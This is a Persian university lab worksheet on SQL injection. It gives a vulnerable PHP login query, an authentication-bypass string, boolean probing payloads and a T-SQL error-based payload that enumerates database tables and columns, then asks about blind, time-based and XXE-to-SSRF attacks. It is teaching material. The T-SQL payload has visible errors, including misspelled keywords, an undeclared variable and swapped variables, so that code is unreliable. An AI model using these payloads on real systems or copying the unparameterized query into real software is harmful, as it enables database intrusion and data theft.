آزمایشگاه امنیت شبکه

حملات مبتنی بر کاربردهای وب - تزریق SQL

مقدمه: در این آزمایش قصد بر آن است که دانشجویان با حملات مربوط به کاربردهای وب آشنا شوند.

آزمایش ۱-۹:

- کد PHP زیر مربوط به احراز هویت یک کاربر را در نظر بگیرید:

```
...
$result = mysqli_query($conn,"SELECT * FROM users WHERE
uname='" . $_POST["uName"] . "' and pword = '".
$_POST["pword"]."'");
....
```

ورودی زیر روی کد بالا چه هدفی را دنبال می‌کند؟ آیا این ورودی با موفقیت به هدف مورد نظر دستیابی پیدا می‌کند؟ اگر خیر سعی کنید ورودی را طوری تغییر دهید که عملیات موفقیت آمیز باشد

```
uName = ' or 'a' = 'a' --
pword = ''
```

آزمایش ۲-۹:

- پرس و جوی زیر را در نظر بگیرید:

```
'select field۱ from tbl۱ where field۱ = 'sth';
```

اگر کاربر بتواند ورودی زیر را تزریق کند، قصد دنبال کردن چه هدفی را دارد؟ آیا می‌توانید نتایج ممکـن از اجرای پرس و جوی بالا در پاسخ به ورودی زیر را تحلیل کنید؟

```
dummy' AND email IS NULL; --
```

آزمایش ۳-۹:

- پرس و جوی زیر در نظر بگیرید:

```
select id, name, full_name, eAddress from users where name = 'sb';
```

اگر کاربر بتواند ورودی زیر را تزریق کند، قصد دنبال کردن چه هدفی را دارد؟ آیا می‌توانید نتایج ممکـن از اجرای پرس و جوی بالا در پاسخ به ورودی زیر را تحلیل کنید؟

```
dummy' AND ۱۲۳ = (select count(*) from products); --
```

آزمایش ۴-۹:

- Payload زیر را در نظر بگیرید:

```
declare @a varchar(۱۰۰)
declare @b varchar(۵۰)
select table_name into #i from information_scehma.tables;
while exists (select * from #i)
begin
    set @a = (select top ۱ table_name from #i);
    set @r = @b + '('; select column_name into #i۲ from information_schema.columns where table_name=@b;
    while exists (select * from #i۲)
    brgin
        set @r += (select top ۱ column_name from #i۲) + ',';
        delete top(۱) #i۲;
```

```
        end
        set @a += ')';
        drop table #i۲;
        delete top(۱) #i;
end
drop table #i;
select convert(int @a);
```

اولاً مشخص کنید این payload چه dbmsای را مورد حمله قرار می‌دهد. ثانیاً هدف این payload را مشخص کنید. ثالثاً در اثر اجرای این payload روی یک وب اپلیکیشن انتظار دارید چه خروجی‌ای دریافت کنید؟

*اساسا دلیل دریافت نتیجه مورد انتظار این payload به چه دلیل است؟ یک وب اپلیکیشن طراحی کنید و این payload را علیه آن بکار بگیرید؟ شیوه وصله زدن این وب اپلیکیشن نسبت به این حمله چگونه خواهد بود؟

***آزمایش ۵-۹:**

- یک اپلیکیشن داریم که پاسخ پرس و جوهای sql را روی frontend برنمی‌گرداند. در مورد پرس و جوهای مختلف هم هیچ تفاوت رفتاری نمیبینیم (نه تغییر در ظاهر، نه تغییر خاصی در کدهای http ...) اما پرس و جو بصورت سنکرون اجرا می‌شود. راه حل شما برای حمله sqli به این برنامه چیست؟ در نتیجه این حمله چطور می‌توان یک بسته icmp به یک مقصد ارسال کرد؟
- اگر پرس و جوی قسمت قبل بصورت آسنکرون انجام شود چطور می‌توانید حمله را به یک زنجیره xee به ssrf تبدیل کنید؟